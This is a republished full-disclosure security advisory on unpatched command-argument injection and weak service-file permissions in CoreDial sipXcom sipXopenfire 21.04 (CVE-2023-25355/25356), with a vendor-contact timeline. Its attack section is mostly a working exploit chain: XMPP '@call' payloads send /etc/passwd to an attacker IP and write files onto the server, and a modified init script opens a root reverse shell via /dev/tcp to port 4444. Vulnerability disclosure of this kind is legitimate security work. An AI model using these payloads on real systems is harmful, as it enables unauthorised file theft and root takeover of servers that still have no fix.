Security
Headlines
HeadlinesLatestCVEs

Headline

CoreDial sipXcom sipXopenfire 21.04 Remote Command Execution / Weak Permissionsundefined

CoreDial sipXcom sipXopenfire versions 21.04 and below suffer from XMPP message system command argument injection and insecure service file permissions that when chained together gives root.

Packet Storm
#vulnerability#web#java#rce#jira

¯¯¯¯¯¯¯_/ ༼ つ ◕◕ ༽つ (ง’̀-'́)ง (╯°□°)╯︵ ┻━┻ ヽ(´ー`)ノ __/¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Product: sipXcom sipXopenfire
Vendor: CoreDial
Name: “sipXcom sipXopenfire XMPP message system command
argument injection and insecure service file
permissions RCE”
Version: 21.04 and earlier
Fixed: Nope, no response
Link: http://download.sipxcom.org/
CVEs: CVE-2023-25355 & CVE-2023-25356


¯¯_/ ༼ つ ◕◕ ༽つ (ง’̀-'́)ง (╯°□°)╯︵ ┻━┻ ヽ(´ー`)ノ __/¯¯¯¯¯¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
TL;DR
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CoreDial’s sipXcom is a PBX server. It bundles an XMPP server
component sipXopenfire, which is disabled by default. sipXopenfire
is affected by an OS command argument injection vulnerability
(CVE-2023-25356), which allows any user with an XMPP account to pass
arbitrary arguments to a curl command. The same component is also
affected by a weak file permissions vulnerability (CVE-2023-25355),
affecting a service startup script which runs as root. Both issues
can be chained to execute commands as the system root user.

At the time of this disclosure, we have had no response from
CoreDial, and neither issue has been fixed.


¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CVE-2023-25356: OS Command Argument Injection
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
As part of the initializePlugin() routine in
sipXopenfire\presence-plugin\src\org\sipfoundry\openfire\plugin\presence\SipXOpenfirePlugin.java,
an “interceptor” called DefaultMessagePacketInterceptor is
registered.

The DefaultMessagePacketInterceptor inspects every message that’s
sent through the XMPP server. If a message starts with any of the
strings "@call", “@conf” or “@xfer” (referred to internally as
“directives”), a related code path is taken, where the message
content is processed according to what the specific directive is
meant to achieve.

When a message is intercepted which starts with "@call", all the
text after this string is assumed to be a phone number and passed to
the buildRestCallCommand() function. This function creates a long
URL, which the user input is written directly into. There’s no
particular attempt to sanitise this input.

This URL is then passed to the sendRestRequest() function, where it
is appended to a curl command string. This string is then passed to
Runtime.getRuntime().exec(command).

Due to the inner mechanics of Runtime’s exec() function, we are only
able to control arguments passed to the main curl command.

The constructed curl command is as follows:

curl -k -X POST http://[IPAddress]:[Port]/callcontroller/[callerNumber]/[controlledString]timeout=30&isForwardingAllowed=true  

Since we can inject arbitrary arguments, we can construct a set of
arguments which will read a file using the -d/–data flag, and send
it over the network to us. The only limitation is that the
sipXopenfire process runs as the daemon user. So we can only read
files that are accessible to daemon. However, this includes
potentially interesting files, like the chat history
(/opt/openfire/logs/sipxopenfire-im.log) when chat logging is
enabled.

As proof-of-concept, the following payload will read /etc/passwd
and post it to http://192.168.96.128/abc.

@call abc -o/tmp/test123 -d @/etc/passwd http://192.168.96.128/abc  

We can also download files and write them to the server filesystem.
The following will download the file from
http://192.168.96.128/test.txt and write it to /tmp/test.txt

@call abc -o /tmp/dummy -o /tmp/test.txt -X GET http://192.168.96.128/test.txt -o /tmp/dummy  

¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CVE-2023-25355: Weak Service File Permissions
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
The /etc/init.d/openfire service file is owned by the daemon user and
group, but runs as the root user. This gives a relatively clear
path to privilege escalation.

It also provides a very useful exploitation path, when chained with
the curl argument injection issue.

Since we can download files and write them to the filesystem, and
the sipXopenfire process runs as the daemon user, we can overwrite
the /etc/init.d/openfire file with a modified version.

The following modified /etc/init.d/openfire will return a shell to
port 4444 on 192.168.96.128 when the sipXopenfire service is
(re)started.

#!/bin/sh  
#  
# openfire      Stops and starts the Openfire XMPP service.  
#  
# chkconfig: 2345 99 1  
# description: Openfire is an XMPP server, which is a server that facilitates \  
#              XML based communication, such as chat.  
# config: /opt/openfire/conf/openfire.xml  
# config: /etc/sysconfig/openfire  
# pidfile: /var/run/openfire.pid  
#  
# This script has currently been tested on Redhat, CentOS, and Fedora  based  
# systems.  
#

 #####  
# Begin setup work  
#####

 # Initialization  
PATH="/sbin:/bin:/usr/bin:/usr/sbin"  
RETVAL=0

 # Check that we are root ... so non-root users stop here.  
if [ "`id -u`" != 0 ]; then  
        echo $0 must be run as root  
        exit 1  
fi

 su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"

 # Get config.  
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire  
if [ -f "/etc/init.d/functions" ]; then  
  FUNCTIONS_FOUND=true  
  . /etc/init.d/functions  
fi

 # If openfire user is not set in sysconfig, set to daemon.  
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"

 # If pid file path is not set in sysconfig, set to /var/run/openfire.pid.  
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"

 # -----------------------------------------------------------------

 # If a openfire home variable has not been specified, try to determine it.  
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then  
        if [ -d "/usr/share/openfire" ]; then  
                OPENFIRE_HOME="/usr/share/openfire"  
        elif [ -d "/usr/local/openfire" ]; then  
                OPENFIRE_HOME="/usr/local/openfire"  
        elif [ -d "/opt/openfire" ]; then  
                OPENFIRE_HOME="/opt/openfire"  
        else  
                echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."  
                echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"  
                echo "in /etc/sysconfig/openfire."  
                exit 1  
        fi  
fi

 # If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.  
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"

 # Attempt to locate java installation.  
if [ -z "$JAVA_HOME" ]; then  
        if [ -d "${OPENFIRE_HOME}/jre" ]; then  
                JAVA_HOME="${OPENFIRE_HOME}/jre"  
        elif [ -d "/etc/alternatives/jre" ]; then  
                JAVA_HOME="/etc/alternatives/jre"  
        else  
                jdks=`ls -r1d /usr/java/j*`  
                for jdk in $jdks; do  
                        if [ -f "${jdk}/bin/java" ]; then  
                                JAVA_HOME="$jdk"  
                                break  
                        fi  
                done  
        fi  
fi  
JAVACMD="${JAVA_HOME}/bin/java"

 if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then  
        echo "Error: JAVA_HOME is not defined correctly."  
        echo "       Can not sure execute $JAVACMD."  
        exit 1  
fi

 # Prepare location of openfire libraries  
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"

 # Prepare openfire command line  
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"

 # Prepare local java class path  
if [ -z "$LOCALCLASSPATH" ]; then  
        LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"  
else  
        LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"  
fi

 # Export any necessary variables  
export JAVA_HOME JAVACMD

 # Lastly, prepare the full command that we are going to run.  
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""

 #####  
# End setup work  
#####

 start() {  
        OLD_PWD=`pwd`  
        cd $OPENFIRE_LOGDIR

         PID=$(findPID)  
        if [ -n "$PID" ]; then                                                
            echo "Openfire is already running."                                  
            RETVAL=1                                                            
            return                                                              
        fi                                                                    

         # Start daemons.                                                        
        echo -n "Starting openfire: "                                        

         rm -f nohup.out  
        su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER  
        RETVAL=$?

         echo

         [ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire

         sleep 1 # allows prompt to return  
        cd $OLD_PWD  
}

 stop() {  
        # Stop daemons.  
        echo -n "Shutting down openfire: "

         PID=$(findPID)  
        if [ -n "$PID" ]; then  
                if [ -n "$FUNCTIONS_FOUND" ]; then  
                        echo $PID > $OPENFIRE_PIDFILE  
                        # delay copied from restart  
                        killproc -p $OPENFIRE_PIDFILE -d 10  
                        rm -f $OPENFIRE_PIDFILE  
                else  
                        kill $PID  
                fi  
        else  
                echo "Openfire is not running."  
        fi

         RETVAL=$?  
        echo

         [ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire  
}

 restart() {  
        stop  
        sleep 10 # give it a few moments to shut down  
        start  
}

 condrestart() {  
        [ -e "/var/lock/subsys/openfire" ] && restart  
        return 0  
}

 status() {  
        PID=$(findPID)  
        if [ -n "$PID" ]; then  
                echo "openfire is running"  
                RETVAL=0  
        else  
                echo "openfire is not running"  
                RETVAL=1  
        fi  
}

 findPID() {  
        echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`  
}

 # Handle how we were called.  
case "$1" in  
        start)  
                start  
                ;;  
        stop)  
                stop  
                ;;  
        restart)  
                restart  
                ;;  
        condrestart)  
                condrestart  
                ;;  
        reload)  
                restart  
                ;;  
        status)  
                status  
                ;;  
        *)  
                echo "Usage $0 {start|stop|restart|status|condrestart|reload}"  
                RETVAL=1  
esac

 exit $RETVAL

When served as openfire.txt from a web server (in this case, on
192.168.96.128), the curl argument injection can be exploited as so
to overwrite the original /etc/init.d/openfire script.

@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy  

Once this file is overwritten, we should wait for the sipXopenfire
service to be restarted. This might be from a server reboot, or from
an administrator restarting the sipXopenfire service itself. When
the service does restart, we will get a shell back as the root user.

To make the exploitation more convenient, we could trigger the
sipXopenfire service reload ourselves, if we also have credentials
for the superadmin user on the sipXcom web configuration service.


¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Errata & Disclosure Timeline
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
These issues were found at the end of October 2022. Initial contact
attempts began on November 2nd 2022.

sipXcom has a Wiki page that describes how to go about reporting
issues. The recommended way is to file a bug on the Jira board,
while setting "the ‘Security’ level in the New Issue to 'Security
Issue’". I created a Jira account, tried to create an issue, and
could not find the “Security” level option. I also noticed that it
was not possible to tag an issue with any version later than 17.04,
and there had also not been any meaningful activity on the tracker
since November 2021 - about a year before I started the disclosure
process.

Since this recommended disclosure avenue seemed dead/unreliable, I
decided to directly privately approach whichever organisation was
responsible for sipXcom. I tried contacting eZuce who, at the time
of the initial disclosure attempt, were mentioned extensively in the
Wiki. I made several attempts at contact using the eZuce contact
form.

In the meantime, I noticed that the release notes for the latest
sipXcom release started with the sentence “CoreDial is pleased to
announce the GA release of sipXcom 21.04.” It appears that eZuce,
who had been the previous maintainers of sipXcom, were acquired by
CoreDial in 2020. This implies that communications made to sipXcom
or eZuce would make their way to CoreDial.

After a few weeks with no response from the sipXcom/eZuce contact
forms, I tried to make direct contact on Twitter. I also included
the CoreDial account in this, and all subsequent tweets. I also
tried to email CoreDial directly. My first attempt to contact
CoreDial directly was December 1st 2022.

At the time of this disclosure, I have sent several emails to,
and tweets directed at, CoreDial. In each of the tweets, CoreDial
untagged themselves, and never responded.

I consider all these reasonable attempts to get the attention of
CoreDial. I would have much preferred that they fix the issues in
sipXcom before this disclosure. However, I encountered an active
lack of interest, so am also comfortable in this case fully
disclosing technical details without any public fix.

Related news

CVE-2023-25356: Full Disclosure: [CVE-2023-25355/25356] No fix available

CoreDial sipXcom up to and including 21.04 is vulnerable to Improper Neutralization of Argument Delimiters in a Command. XMPP users are able to inject arbitrary arguments into a system command, which can be used to read files from, and write files to, the sipXcom server. This can also be leveraged to gain remote command execution.

Packet Storm: Latest News

WordPress Really Simple Security Authentication Bypass